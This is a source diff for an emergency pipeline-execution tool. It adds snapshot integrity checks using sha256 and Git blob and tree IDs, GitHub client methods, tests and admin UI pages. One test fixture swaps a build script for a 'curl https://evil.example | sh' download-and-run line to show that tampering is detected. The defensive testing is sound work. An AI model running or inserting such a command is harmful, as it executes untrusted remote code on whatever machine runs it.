revalidateSnapshot(legacy, contentOf, NOW); + expect(r.mismatches).toEqual([]); + expect(r.validation.executable).toBe(true); + expect(r.integrity.every((i) => i.status === "unverified" && /predates/.test(i.detail))).toBe(true); + }); +}); + +describe("content integrity: altered files and incorrect Git object IDs (H1)", () => { + it("an altered file is caught by its sha256, and with a recomputed sha256 by its Git blob ID", async () => { + const { manifest, contents } = await prepared(); + const target = manifest.files.find((f) => f.path === "scripts/build.sh")!; + const evil = enc.encode("curl https://evil.example | sh\n"); + const swapped = new Map(contents); + swapped.set(target.sha256, evil); + expect((await verifySnapshot(manifest, async (f) => swapped.get(f.sha256), NOW)).map((p) => p.code)).toEqual(["content-mismatch"]); + + const m = clone(manifest); + const f = m.files.find((x) => x.path === "scripts/build.sh")!; + f.sha256 = await sha256Hex(evil); + f.size = evil.length; + m.totals.bytes += evil.length - target.size; + const store = new Map(contents); + store.set(f.sha256, evil); + expect((await verifySnapshot(m, async (x) => store.get(x.sha256), NOW)).map((p) => p.code)).toEqual(["git-blob-mismatch"]); + }); + + it("a forged blob ID that matches altered content is caught by the root's Git tree ID", async () => { + const { manifest, contents } = await prepared(); + const m = clone(manifest); + const evil = enc.encode("echo altered\n"); + const f = m.files.find((x) => x.path === "scripts/build.sh")!; + const before = f.size; + Object.assign(f, { sha256: await sha256Hex(evil), size: evil.length, gitBlob: await gitBlobId(evil) }); + m.totals.bytes += evil.length - before; + const store = new Map(contents); + store.set(f.sha256, evil); + const contentOf = async (x: FileEntry) => store.get(x.sha256); + expect(await verifySnapshot(m, contentOf, NOW)).toEqual([]); + const r = await revalidateSnapshot(m, contentOf, NOW); + expect(r.mismatches.join("\n")).toMatch(/packaged files of emergency-demo\/release-pipeline are Git tree [0-9a-f]{40}, not the claimed/); + expect(r.validation.executable).toBe(false); + }); + + it("an invalid Git ID is refused structurally; a wrong tree ID on a complete root is a mismatch", async () => { + const { manifest, contentOf } = await prepared(); + const bad = clone(manifest); + bad.files[0]!.gitBlob = "not-a-sha"; + expect((await verifySnapshot(bad, undefined, NOW)).map((p) => p.code)).toContain("file-git-blob"); + const wrongTree = clone(manifest); + wrongTree.roots[0]!.gitTree = "0".repeat(40); + expect((await revalidateSnapshot(wrongTree, contentOf, NOW)).mismatches.join()).toMatch(/not the claimed 0{40}/); + }); + + it("the fixture server's tree IDs agree with git-objects.ts", async () => { + const files = Object.entries(demoRepos(root)[DEMO_REPO]!.files); + const entries = await Promise.all(files.map(async ([path, v]) => ({ path, blob: await gitBlobId(v as Uint8Array), executable: path.endsWith(".sh") }))); + expect(treeShaSync(entries.map((e) => ({ path: e.path, sha: e.blob, executable: e.executable })))).toBe(await gitTreeId(entries)); + }); +}); diff --git a/src/emergency/revalidate.ts b/src/emergency/revalidate.ts new file mode 100644 index 0000000..7ed59dc --- /dev/null +++ b/src/emergency/revalidate.ts @@ -0,0 +1,116 @@ +// Server-side validation of an uploaded snapshot (security review H1). The uploader's manifest is a set of claims: +// its graph, actions, requirements, diagnostics, executability and Git object IDs. Here the same resolver +// (prepare.ts) is re-run over the packaged files alone, so every claim is checked against the content: +// - any difference in roots, workflows, actions, requirements, files or totals is a mismatch (the upload is refused); +// - an error the executor finds that the manifest doesn't report is a mismatch (under-reported errors); +// - executability is derived here: no errors from this run, and none the uploader declared (they can only be stricter); +// - content integrity per root: a complete root's Git tree ID is recomputed from the content; otherwise each file's +// Git blob ID is checked (by verifySnapshot), or nothing can be (snapshots made before H1). +// Provenance, whether that tree really is the claimed commit of the claimed repository on GitHub, is not decided +// here: the executor can't reach GitHub. The UI checks it live with the operator's own token and shows the result. +// Callers run verifySnapshot with content first (sizes, sha256 and Git blob IDs of every file). +import { gitTreeId } from "./git-objects.ts"; +import type { Diagnostic } from "./model.ts"; +import { prepareSnapshot, type SourceReader, type TreeFile } from "./prepare.ts"; +import type { FileEntry, Manifest, RootIntegrity, ServerValidation } from "./snapshot.ts"; +import { canonicalJson, hasErrors, LIMITS } from "./snapshot.ts"; + +export type Revalidation = { validation: ServerValidation; integrity: RootIntegrity[]; mismatches: string[] }; + +/** A SourceReader over the packaged files: it can resolve only what the snapshot contains. */ +export function packagedReader(m: Manifest, contentOf: (f: FileEntry) => Promise): SourceReader { + const byCommit = new Map>(); + for (const f of m.files) { + const root = m.roots.find((r) => r.id === f.root); + if (!root) continue; + const key = `${root.repository}@${root.sha}`; + if (!byCommit.has(key)) byCommit.set(key, new Map()); + byCommit.get(key)!.set(f.path, f); + } + const files = (repository: string, sha: string) => { + const set = byCommit.get(`${repository}@${sha}`); + if (!set) throw new Error(`${repository}@${sha.slice(0, 7)} is not packaged in this snapshot`); + return set; + }; + return { + async resolveCommit(repository, ref) { + const root = m.roots.find((r) => r.repository === repository && (r.ref === ref || r.sha === ref)); + if (!root) throw new Error(`${repository}@${ref} is not packaged in this snapshot`); + return root.sha; + }, + async listFiles(repository, sha): Promise { + return [...files(repository, sha).values()].map((f) => ({ path: f.path, size: f.size, executable: f.executable ?? false, ...(f.gitBlob ? { gitBlob: f.gitBlob } : {}) })); + }, + async readFile(repository, sha, path) { + const f = files(repository, sha).get(path); + const data = f ? await contentOf(f) : undefined; + if (!data) throw new Error(`${path} is not packaged in ${repository}@${sha.slice(0, 7)}`); + return data; + }, + async treeInfo(repository, sha) { + const root = m.roots.find((r) => r.repository === repository && r.sha === sha && r.gitTree); + return root?.gitTree ? { treeSha: root.gitTree, skipped: 0 } : { treeSha: "", skipped: 0 }; + }, + }; +} + +const same = (a: unknown, b: unknown) => canonicalJson(a) === canonicalJson(b); +const diagKey = (d: Diagnostic) => `${d.code}|${d.where ?? ""}|${d.message}`; + +export async function revalidateSnapshot(m: Manifest, contentOf: (f: FileEntry) => Promise, now = new Date()): Promise { + const mismatches: string[] = []; + const days = Math.min(LIMITS.maxExpiryDays, Math.max(1, Math.round((Date.parse(m.expiresAt) - Date.parse(m.createdAt)) / 86_400_000))); + let rebuilt: Manifest | undefined; + try { + rebuilt = ( + await prepareSnapshot( + packagedReader(m, contentOf), + { repository: m.source.repository, ref: m.source.ref, sha: m.source.sha, workflows: m.entryWorkflows, name: m.name, expiresInDays: days }, + new Date(m.createdAt), + ) + ).manifest; + } catch (error) { + mismatches.push(`The executor could not rebuild the pipeline from the packaged files: ${(error as Error).message}`); + } + + let diagnostics: Diagnostic[] = [{ severity: "error", code: "server-rebuild", message: mismatches[0] ?? "not rebuilt" }]; + if (rebuilt) { + diagnostics = rebuilt.diagnostics; + const strip = (r: Manifest["roots"][number]) => ({ id: r.id, repository: r.repository, ref: r.ref, sha: r.sha, kind: r.kind }); + const fileView = (f: FileEntry) => ({ root: f.root, path: f.path, size: f.size, sha256: f.sha256, executable: f.executable ?? false, gitBlob: f.gitBlob ?? null }); + const checks: [string, unknown, unknown][] = [ + ["roots", m.roots.map(strip), rebuilt.roots.map(strip)], + ["entry workflows", m.entryWorkflows, rebuilt.entryWorkflows], + ["execution graph", m.workflows, rebuilt.workflows], + ["actions", m.actions, rebuilt.actions], + ["requirements", m.requirements, rebuilt.requirements], + ["files", m.files.map(fileView), rebuilt.files.map(fileView)], + ["totals", m.totals, rebuilt.totals], + ]; + for (const [what, claimed, derived] of checks) if (!same(claimed, derived)) mismatches.push(`The manifest's ${what} do not match what the packaged files produce`); + const claimed = new Set(m.diagnostics.filter((d) => d.severity === "error").map(diagKey)); + const missing = rebuilt.diagnostics.filter((d) => d.severity === "error" && !claimed.has(diagKey(d))); + if (missing.length) mismatches.push(`The manifest under-reports validation errors: ${missing.map((d) => d.message).join("; ")}`); + } + + const integrity: RootIntegrity[] = []; + for (const root of m.roots) { + const files = m.files.filter((f) => f.root === root.id); + const allBlobs = files.length > 0 && files.every((f) => f.gitBlob); + if (root.gitTree && root.complete && allBlobs) { + const tree = await gitTreeId(files.map((f) => ({ path: f.path, blob: f.gitBlob!, executable: f.executable ?? false }))); + if (tree === root.gitTree) integrity.push({ root: root.id, repository: root.repository, sha: root.sha, gitTree: root.gitTree, status: "tree-verified", detail: `All ${files.length} files together are Git tree ${tree}` }); + else { + mismatches.push(`The packaged files of ${root.repository} are Git tree ${tree}, not the claimed ${root.gitTree}`); + integrity.push({ root: root.id, repository: root.repository, sha: root.sha, gitTree: root.gitTree, status: "unverified", detail: `Content is tree ${tree}, not ${root.gitTree}` }); + } + } else if (allBlobs) { + integrity.push({ root: root.id, repository: root.repository, sha: root.sha, gitTree: root.gitTree, status: "blobs-verified", detail: `Each of ${files.length} files matches its Git blob ID; the root is partial, so its tree ID can't be recomputed` }); + } else { + integrity.push({ root: root.id, repository: root.repository, sha: root.sha, gitTree: root.gitTree, status: "unverified", detail: files.length ? "The snapshot predates Git object IDs (prepared before H1)" : "No files packaged from this root" }); + } + } + + const executable = mismatches.length === 0 && !hasErrors(diagnostics) && !hasErrors(m.diagnostics); + return { validation: { by: "executor", at: now.toISOString(), executable, diagnostics }, integrity, mismatches }; +} diff --git a/src/emergency/snapshot.ts b/src/emergency/snapshot.ts new file mode 100644 index 0000000..268093d --- /dev/null +++ b/src/emergency/snapshot.ts @@ -0,0 +1,219 @@ +// The emergency snapshot format: a manifest plus content-addressed files. Shared by the browser (which prepares and +// uploads it), the executor (which verifies and stores it, write-once) and the runner (which verifies it again before +// running anything). Pure: Web Crypto only, which browsers and Node 22 both provide. +import { GIT_ID, gitBlobId } from "./git-objects.ts"; +import type { Diagnostic, InputSpec } from "./model.ts"; +import { normalizePath } from "./model.ts"; + +export const SNAPSHOT_SCHEMA = "gha-emergency-snapshot/v1"; +/** The runtimes the runner image provides (deploy/emergency/Dockerfile). Kept here so validation can compare. */ +export const RUNNER_RUNTIMES = { node: "22", python: "3", shells: ["bash", "sh", "python"] } as const; +export const LIMITS = { maxFiles: 3000, maxBytes: 40 * 1024 * 1024, maxFileBytes: 10 * 1024 * 1024, maxRepoFiles: 2000, maxDepth: 10, maxExpiryDays: 90 } as const; + +/** "workspace" (the source repository at the snapshot commit) or "repo/OWNER/REPO/SHA" (an external action or workflow). */ +export type RootId = string; +export const WORKSPACE: RootId = "workspace"; +const ROOT = /^(?:workspace|repo\/[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+\/[0-9a-f]{40})$/; +export const repoRoot = (owner: string, repo: string, sha: string): RootId => `repo/${owner}/${repo}/${sha}`; +export const isRootId = (r: string) => ROOT.test(r) && !r.split("/").some((s) => s === "." || s === ".."); + +/** + * A packaged file. `gitBlob` is the Git blob ID GitHub reported for it at preparation (security review H1): a claim + * the executor and runner check against the content (content integrity). Absent in snapshots made before H1. + */ +export type FileEntry = { root: RootId; path: string; size: number; sha256: string; executable?: boolean; gitBlob?: string }; + +/** + * `gitTree` is the Git tree ID GitHub reported for `sha` at preparation, and `complete` says whether every file of + * that tree was packaged. For a complete root the executor recomputes the tree ID from the packaged content, which + * proves the content is exactly that Git tree. That the tree belongs to commit `sha` of `repository` is a separate + * question (provenance), which only GitHub can answer; the executor never treats it as verified. + */ +export type RootEntry = { id: RootId; repository: string; ref: string; sha: string; kind: "workspace" | "action" | "workflow"; gitTree?: string; complete?: boolean }; + +export type GraphStep = { + index: number; + label: string; + kind: "run" | "action" | "checkout"; + shell?: string; + /** Key into `actions`. */ + action?: string; + scripts: string[]; +}; +export type GraphJob = { id: string; name?: string; needs: string[]; kind: "steps" | "call"; calls?: string; steps: GraphStep[] }; +export type WorkflowEntry = { key: string; root: RootId; path: string; name?: string; jobs: GraphJob[] }; + +export type ActionEntry = { + /** The `uses:` value as written ("./.github/actions/x", "owner/repo/path@v1"). */ + key: string; + root: RootId; + dir: string; + file: string; + using: string; + runtime: string; + /** actions/checkout of the snapshot's own commit: replaced by restoring the packaged workspace. */ + substitutedBy?: "packaged-workspace"; +}; + +export type Requirement = { name: string; usedBy: string[] }; + +export type Manifest = { + schema: typeof SNAPSHOT_SCHEMA; + name: string; + createdAt: string; + expiresAt: string; + source: { repository: string; ref: string; sha: string }; + entryWorkflows: string[]; + roots: RootEntry[]; + workflows: WorkflowEntry[]; + actions: ActionEntry[]; + files: FileEntry[]; + requirements: { + /** Secret names only: values are supplied at execution time from a Kubernetes Secret, never stored here. */ + secrets: Requirement[]; + variables: Requirement[]; + inputs: Record>; + runtimes: string[]; + externalServices: Requirement[]; + }; + diagnostics: Diagnostic[]; + totals: { files: number; bytes: number }; +}; + +/** Base64-encoded file contents keyed by sha256: the upload body is `{ manifest, contents }`. */ +export type SnapshotBundle = { manifest: Manifest; contents: Record }; + +/** Stored by the executor next to the manifest; not part of the digest. */ +/** + * The executor's own findings, derived from the packaged files and never from the uploader's claims (H1). + * - `validation`: the resolver re-run over the packaged files; `executable` is the executor's verdict. + * - `integrity`: per root, whether the content matched its claimed Git object IDs offline. + * Provenance (does the tree belong to the claimed commit on GitHub?) is deliberately absent: the executor can't know. + */ +export type ServerValidation = { by: "executor"; at: string; executable: boolean; diagnostics: Diagnostic[] }; +export type RootIntegrity = { root: RootId; repository: string; sha: string; gitTree?: string; status: "tree-verified" | "blobs-verified" | "unverified"; detail: string }; +export type SnapshotRecord = { + id: string; + name: string; + version: number; + storedAt: string; + expiresAt: string; + /** As claimed by the uploader (H1): the content's Git tree is checked, the commit and repository are not. */ + source: Manifest["source"]; + entryWorkflows: string[]; + /** The executor's verdict (validation.executable). */ + executable: boolean; + totals: Manifest["totals"]; + validation?: ServerValidation; + integrity?: RootIntegrity[]; + /** Who stored it (security review H2): the authenticated identity, never the claimed repository. Absent before H2. */ + preparedBy?: Actor; + /** "restricted": only its preparer, approvers and administrators see it, and only its preparer runs it. Absent = shared. */ + visibility?: Visibility; +}; + +/** An authenticated identity as recorded on a resource: its stable ID and its display name at the time. */ +export type Actor = { id: string; name: string }; +export type Visibility = "shared" | "restricted"; + +// ---- hashing ----------------------------------------------------------------------------------------------------- + +export async function sha256Hex(data: Uint8Array | string): Promise { + const bytes = typeof data === "string" ? new TextEncoder().encode(data) : data; + const digest = await crypto.subtle.digest("SHA-256", bytes as BufferSource); + return [...new Uint8Array(digest)].map((b) => b.toString(16).padStart(2, "0")).join(""); +} + +/** JSON with object keys sorted at every level, so equal manifests always hash equally. */ +export function canonicalJson(value: unknown): string { + if (Array.isArray(value)) return `[${value.map(canonicalJson).join(",")}]`; + if (value !== null && typeof value === "object") { + const rec = value as Record; + return `{${Object.keys(rec) + .filter((k) => rec[k] !== undefined) + .sort() + .map((k) => `${JSON.stringify(k)}:${canonicalJson(rec[k])}`) + .join(",")}}`; + } + return JSON.stringify(value); +} + +/** The snapshot's identity: sha256 of the canonical manifest, which pins every file by its own sha256. */ +export const manifestDigest = (m: Manifest) => sha256Hex(canonicalJson(m)); + +export function toBase64(bytes: Uint8Array): string { + let s = ""; + for (let i = 0; i < bytes.length; i += 0x8000) s += String.fromCharCode(...bytes.subarray(i, i + 0x8000)); + return btoa(s); +} + +export function fromBase64(b64: string): Uint8Array { + const bin = atob(b64); + const out = new Uint8Array(bin.length); + for (let i = 0; i < bin.length; i++) out[i] = bin.charCodeAt(i); + return out; +} + +// ---- validation ---------------------------------------------------------------------------------------------------- + +export const hasErrors = (d: Diagnostic[]) => d.some((x) => x.severity === "error"); + +/** + * Checks a manifest's structure and, when `contentOf` is given, every file's size and sha256. Returns problems as + * error diagnostics (empty when valid). Used on upload, on storage reads and by the runner before execution. + */ +export async function verifySnapshot(manifest: unknown, contentOf?: (f: FileEntry) => Promise, now = new Date()): Promise { + const problems: Diagnostic[] = []; + const fail = (code: string, message: string) => problems.push({ severity: "error", code, message }); + const m = manifest as Manifest; + if (!m || typeof m !== "object" || m.schema !== SNAPSHOT_SCHEMA) { + fail("schema", `Not a ${SNAPSHOT_SCHEMA} manifest`); + return problems; + } + if (typeof m.name !== "string" || !/^[A-Za-z0-9][A-Za-z0-9 ._-]{0,62}$/.test(m.name)) fail("name", "Snapshot name must be 1–63 letters, digits, spaces, dots, dashes or underscores"); + if (!/^[0-9a-f]{40}$/.test(m.source?.sha ?? "")) fail("source", "Source commit must be a full 40-character SHA"); + if (!/^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/.test(m.source?.repository ?? "")) fail("source", "Source repository must be OWNER/REPO"); + const created = Date.parse(m.createdAt); + const expires = Date.parse(m.expiresAt); + if (!Number.isFinite(created) || !Number.isFinite(expires) || expires <= created) fail("expiry", "Invalid creation or expiry time"); + else if (expires - created > LIMITS.maxExpiryDays * 86_400_000) fail("expiry", `Expiry may be at most ${LIMITS.maxExpiryDays} days after creation`); + else if (expires <= now.getTime()) fail("expired", `Snapshot expired at ${m.expiresAt}`); + if (!Array.isArray(m.files) || !Array.isArray(m.roots) || !Array.isArray(m.workflows) || !Array.isArray(m.actions) || !Array.isArray(m.entryWorkflows)) { + fail("structure", "Manifest is missing files, roots, workflows, actions or entry workflows"); + return problems; + } + const roots = new Set(); + for (const r of m.roots) { + if (!isRootId(r.id)) fail("root", `Invalid root ${JSON.stringify(r.id)}`); + if (r.gitTree !== undefined && !GIT_ID.test(r.gitTree)) fail("root-git-tree", `Root ${r.id} has an invalid Git tree ID`); + roots.add(r.id); + } + if (!roots.has(WORKSPACE)) fail("root", "The workspace root is missing"); + if (m.files.length > LIMITS.maxFiles) fail("limits", `More than ${LIMITS.maxFiles} files`); + const seen = new Set(); + let bytes = 0; + for (const f of m.files) { + const key = `${f.root}:${f.path}`; + if (!roots.has(f.root)) fail("file-root", `File ${f.path} names an unknown root`); + if (typeof f.path !== "string" || normalizePath(f.path) !== f.path || f.path === "") fail("file-path", `Unsafe file path ${JSON.stringify(f.path)}`); + if (seen.has(key)) fail("file-duplicate", `Duplicate file ${key}`); + seen.add(key); + if (!Number.isInteger(f.size) || f.size < 0 || f.size > LIMITS.maxFileBytes) fail("file-size", `File ${f.path} has an invalid size`); + if (!/^[0-9a-f]{64}$/.test(f.sha256)) fail("file-hash", `File ${f.path} has an invalid sha256`); + if (f.gitBlob !== undefined && !GIT_ID.test(f.gitBlob)) fail("file-git-blob", `File ${f.path} has an invalid Git blob ID`); + bytes += f.size; + } + if (bytes > LIMITS.maxBytes) fail("limits", `Files total more than ${LIMITS.maxBytes} bytes`); + if (m.totals?.files !== m.files.length || m.totals?.bytes !== bytes) fail("totals", "Totals do not match the file list"); + for (const w of m.entryWorkflows) if (!seen.has(`${WORKSPACE}:${w}`)) fail("entry", `Entry workflow ${w} is not in the snapshot`); + for (const w of m.workflows) if (!seen.has(`${w.root}:${w.path}`)) fail("workflow-file", `Workflow ${w.key} is not in the snapshot`); + for (const a of m.actions) if (!a.substitutedBy && !seen.has(`${a.root}:${a.file}`)) fail("action-file", `Action ${a.key} is not in the snapshot`); + if (problems.length || !contentOf) return problems; + for (const f of m.files) { + const content = await contentOf(f); + if (!content) fail("content-missing", `Content of ${f.root}:${f.path} is missing`); + else if (content.length !== f.size || (await sha256Hex(content)) !== f.sha256) fail("content-mismatch", `Content of ${f.root}:${f.path} does not match its sha256`); + else if (f.gitBlob !== undefined && (await gitBlobId(content)) !== f.gitBlob) fail("git-blob-mismatch", `Content of ${f.root}:${f.path} is not Git blob ${f.gitBlob}`); + } + return problems; +} diff --git a/src/github/client.ts b/src/github/client.ts index cd64411..803813f 100644 --- a/src/github/client.ts +++ b/src/github/client.ts @@ -184,6 +184,46 @@ export function createGitHubClient(options: { apiBase: string; transport: Transp return new TextDecoder().decode(Uint8Array.from(binary, (c) => c.charCodeAt(0))); }, + /** The commit a branch, tag or SHA names (`GET …/commits/{ref}`). Used to pin emergency snapshots. */ + async resolveCommit(ref: RepoRef, gitRef: string): Promise { + const { body } = await getJson<{ sha?: unknown }>(`${repoPath(ref)}/commits/${encodeURIComponent(gitRef)}`); + if (typeof body.sha !== "string" || !/^[0-9a-f]{40}$/.test(body.sha)) throw new GitHubError({ kind: "http-error", status: 422 }); + return body.sha; + }, + + /** + * Every regular file at a commit (`GET …/git/trees/{sha}?recursive=1`): path, size, blob SHA and whether git marks + * it executable, plus the tree's own SHA and how many entries were left out (symlinks, submodules). A truncated + * listing is refused rather than used partially. + */ + async getTree(ref: RepoRef, sha: string): Promise<{ treeSha: string; skipped: number; files: { path: string; size: number; sha: string; executable: boolean }[] }> { + const { body } = await getJson<{ sha?: string; truncated?: boolean; tree?: { path: string; mode: string; type: string; size?: number; sha: string }[] }>( + `${repoPath(ref)}/git/trees/${encodeURIComponent(sha)}?recursive=1`, + ); + if (body.truncated || !Array.isArray(body.tree) || typeof body.sha !== "string") throw new GitHubError({ kind: "http-error", status: 413 }); + const regular = (e: { type: string; mode: string }) => e.type === "blob" && (e.mode === "100644" || e.mode === "100755"); + return { + treeSha: body.sha, + skipped: body.tree.filter((e) => e.type !== "tree" && !regular(e)).length, + files: body.tree.filter(regular).map((e) => ({ path: e.path, size: e.size ?? 0, sha: e.sha, executable: e.mode === "100755" })), + }; + }, + + /** The tree a commit points to (`GET …/git/commits/{sha}`): used to check a snapshot's provenance (H1). */ + async getCommitTree(ref: RepoRef, sha: string): Promise { + const { body } = await getJson<{ sha?: string; tree?: { sha?: unknown } }>(`${repoPath(ref)}/git/commits/${encodeURIComponent(sha)}`); + if (body.sha !== sha || typeof body.tree?.sha !== "string") throw new GitHubError({ kind: "http-error", status: 422 }); + return body.tree.sha; + }, + + /** One file's bytes by blob SHA (`GET …/git/blobs/{sha}`, base64). */ + async getBlob(ref: RepoRef, blobSha: string): Promise { + const { body } = await getJson<{ encoding?: string; content?: string }>(`${repoPath(ref)}/git/blobs/${encodeURIComponent(blobSha)}`); + if (body.encoding !== "base64" || typeof body.content !== "string") throw new GitHubError({ kind: "http-error", status: 422 }); + const binary = atob(body.content.replace(/\s/g, "")); + return Uint8Array.from(binary, (c) => c.charCodeAt(0)); + }, + /** The run (its latest attempt), or one attempt of it (`GET …/runs/{id}/attempts/{n}`). */ async getRun(ref: RunRef, attempt?: number): Promise { return (await getJson(`${repoPath(ref)}/actions/runs/${ref.runId}${attempt ? `/attempts/${attempt}` : ""}`)).body; diff --git a/src/ui/App.tsx b/src/ui/App.tsx index 346be58..5997747 100644 --- a/src/ui/App.tsx +++ b/src/ui/App.tsx @@ -1,5 +1,5 @@ import { useQueryClient } from "@tanstack/react-query"; -import { useEffect, useMemo, useState, useSyncExternalStore } from "react"; +import { lazy, Suspense, useEffect, useMemo, useState, useSyncExternalStore } from "react"; import { createEnvironment, modeFromLocation, type Mode } from "../app/environment"; import { patProvider } from "../auth/pat-provider"; import { parseHash } from "../domain/run-url"; @@ -8,6 +8,10 @@ import { ConnectView } from "./ConnectView"; import { RunExplorer } from "./explorer/RunExplorer"; import { Home } from "./Home"; import { RepoDashboard } from "./RepoDashboard"; +import { parseEmergencyHash } from "./emergency/route"; + +// Emergency execution is a separate area, loaded only when opened. +const EmergencyView = lazy(() => import("./emergency/EmergencyView").then((m) => ({ default: m.EmergencyView }))); const subscribeHash = (onChange: () => void) => { window.addEventListener("hashchange", onChange); @@ -77,6 +81,8 @@ function Main({ mode }: { mode: Mode }) { const env = useMemo(() => createEnvironment(mode, window.location), [mode]); const hash = useSyncExternalStore(subscribeHash, () => window.location.hash); const route = parseHash(hash); + // Emergency execution never needs GitHub to be reachable, so it is routed before the GitHub sign-in. + const emergency = parseEmergencyHash(hash); const [connected, setConnected] = useState(() => patProvider.describe().connected); const queryClient = useQueryClient(); @@ -93,12 +99,19 @@ function Main({ mode }: { mode: Mode }) {
+ + Emergency execution + {mode === "live" && connected && }
- {mode === "live" && !connected ? ( + {emergency ? ( + Loading emergency execution…

}> + + + ) : mode === "live" && !connected ? ( setConnected(true)} /> ) : route.run ? ( diff --git a/src/ui/emergency/AdminPage.tsx b/src/ui/emergency/AdminPage.tsx new file mode 100644 index 0000000..8b2e2b6 --- /dev/null +++ b/src/ui/emergency/AdminPage.tsx @@ -0,0 +1,189 @@ +// Administration of emergency execution (security review H2), for administrators: other users' roles and sessions, +// suspending Secret bindings, and the audit log. The executor enforces all of it: it refuses these calls from anyone +// else, and refuses changes to your own roles or account. +import { useEffect, useState } from "react"; +import { executor, type AuditEntryView, type BindingView, type Role, type UserView } from "../../emergency/executor-client"; +import { relativeTime } from "../format"; +import { errorText, useSession } from "./EmergencyView"; + +const ROLE_HELP: Record = { + viewer: "sees shared snapshots, executions and logs", + operator: "prepares snapshots and starts executions", + approver: "approves sensitive executions (not their own)", + administrator: "manages users, sessions, bindings; reads the audit log", +}; + +export function AdminPage() { + const session = useSession(); + const [users, setUsers] = useState(null); + const [roles, setRoles] = useState([]); + const [bindings, setBindings] = useState(null); + const [audit, setAudit] = useState(null); + const [error, setError] = useState(null); + const [reload, setReload] = useState(0); + const [reason, setReason] = useState>({}); + useEffect(() => { + let live = true; + Promise.all([executor.listUsers(), executor.listBindings(), executor.audit()]).then( + ([u, b, a]) => { + if (!live) return; + setUsers(u.users); + setRoles(u.roles); + setBindings(b.bindings); + setAudit(a); + setError(null); + }, + (e) => live && setError(errorText(e)), + ); + return () => { + live = false; + }; + }, [reload]); + const act = (f: () => Promise) => void f().then(() => setReload((n) => n + 1), (e) => setError(errorText(e))); + + return ( +
+

+ ← Emergency execution +

+ {error && ( +

+ {error} +

+ )} +
+

Users and roles

+

+ Users appear here after their first sign-in. Roles: {roles.map((r) => `${r} (${ROLE_HELP[r]})`).join("; ")}. Pinned roles come from the chart's configuration and can't be removed here. You can't change your own roles or account. +

+ {!users ? ( +

Loading…

+ ) : ( + + + + + + + + + + + + {users.map((u) => { + const self = u.id === session.user.id; + return ( + + + + + + + + + ); + })} + +
UserIdentityRolesLast seenSessions +
+ {u.name} + {u.disabled && disabled} + {u.kind === "break-glass" ? `break-glass: ${u.account}` : `${u.issuer} ${u.subject}`} + {roles.map((r) => ( + + ))} + {relativeTime(u.lastSeen)}{u.sessions} + {!self && ( + <> + {" "} + + + )} +
+ )} +
+
+

Secret bindings

+

Bindings are created in the chart's values by a cluster administrator (and pinned at admission). Here you can suspend one, which stops it giving any execution its Secret and invalidates approvals that relied on it, and resume it.

+ {!bindings ? ( +

Loading…

+ ) : bindings.length === 0 ? ( +

No bindings.

+ ) : ( + + + + + + + + + + + {bindings.map((b) => ( + + + + + + + + ))} + +
BindingSecret and keysSnapshotsState +
{b.name} + {b.secret}: {b.keys.join(", ")} + {b.snapshots.map((d) => d.slice(0, 12)).join(", ")}{b.suspension?.suspended ? suspended : active} + setReason({ ...reason, [b.name]: e.target.value })} />{" "} + +
+ )} +
+
+

Audit log

+ {!audit ? ( +

Loading…

+ ) : ( + + + + + + + + + + + {audit.map((e, i) => { + const { at, action, by, ...rest } = e; + return ( + + + + + + + ); + })} + +
WhenActionByDetails
{relativeTime(at)}{action}{by?.name ?? "—"}{JSON.stringify(rest)}
+ )} +
+
+ ); +} diff --git a/src/ui/emergency/EmergencyView.tsx b/src/ui/emergency/EmergencyView.tsx new file mode 100644 index 0000000..4604228 --- /dev/null +++ b/src/ui/emergency/EmergencyView.tsx @@ -0,0 +1,337 @@ +// Emergency execution (docs/EMERGENCY_EXECUTION.md): a separate area from the read-only investigation views. +// - Preparation reads GitHub while it is available (the app's read-only client) and uploads a snapshot. +// - Everything else talks only to this deployment's emergency executor, so it keeps working while GitHub is down: +// no GitHub token is needed to list snapshots, start an execution or follow it. +// - Security review H2: users sign in with the organization's identity provider (or a break-glass account), and what +// they can do depends on the roles an administrator gave them. The UI only hides what they can't do; the executor +// checks every request. +import { createContext, useContext, useEffect, useState } from "react"; +import type { Environment } from "../../app/environment"; +import { executor, ExecutorError, signInUrl, type ExecutionSummary, type SessionView, type SignInOptions } from "../../emergency/executor-client"; +import type { SnapshotRecord } from "../../emergency/snapshot"; +import { relativeTime } from "../format"; +import { AdminPage } from "./AdminPage"; +import { ExecutionPage } from "./ExecutionPage"; +import { PrepareSnapshot } from "./PrepareSnapshot"; +import { SnapshotPage } from "./SnapshotPage"; +import { emergencyHref, type EmergencyRoute } from "./route"; +import "./emergency.css"; + +export { emergencyHref } from "./route"; + +export function errorText(error: unknown): string { + if (error instanceof ExecutorError) { + const details = Array.isArray(error.details) ? error.details.map((d) => (typeof d === "string" ? d : (d as { message?: string }).message ?? JSON.stringify(d))) : []; + return [error.message, ...details].join(" — "); + } + return error instanceof Error ? error.message : String(error); +} + +const SessionContext = createContext(null); +/** The signed-in user (always set inside the signed-in emergency pages). */ +export const useSession = () => useContext(SessionContext)!; +export const can = (session: SessionView | null, permission: string) => session?.permissions.includes(permission) ?? false; + +export function EmergencyView({ env, route, githubConnected }: { env: Environment; route: EmergencyRoute; githubConnected: boolean }) { + const [signIn, setSignIn] = useState(undefined); + const [session, setSession] = useState(undefined); + const [reload, setReload] = useState(0); + useEffect(() => { + let live = true; + void executor.available().then(async (a) => { + if (!live) return; + setSignIn(a); + if (a) { + const s = await executor.session().catch(() => null); + if (live) setSession(s); + } + }); + return () => { + live = false; + }; + }, [reload]); + + return ( +
+
+
+

Emergency execution

+

+ Run prepared pipelines without GitHub Actions +

+

+ Separate from the read-only investigation views. Snapshots are prepared while GitHub is available and run later as Kubernetes Jobs, with no access to GitHub. Only the + supported subset of GitHub Actions runs; anything else is refused when the snapshot is validated. +

+
+ {session && ( +
+ + {session.user.name} + {session.session.method === "break-glass" && break-glass} + + + {session.roles.length ? session.roles.join(", ") : "no roles yet"} + + {session.roles.includes("administrator") && Administration} + +
+ )} +
+ {signIn === undefined || (signIn && session === undefined) ? ( +

Looking for the emergency executor…

+ ) : !signIn ? ( +

+ Emergency execution isn't available in this deployment: no executor answers at api/emergency/. It is installed separately (charts/gha-emergency). +

+ ) : !session ? ( + setReload((n) => n + 1)} /> + ) : session.roles.length === 0 ? ( + + ) : ( + + {route.page === "prepare" ? ( + + ) : route.page === "snapshot" ? ( + + ) : route.page === "execution" ? ( + + ) : route.page === "admin" ? ( + + ) : ( + + )} + + )} +
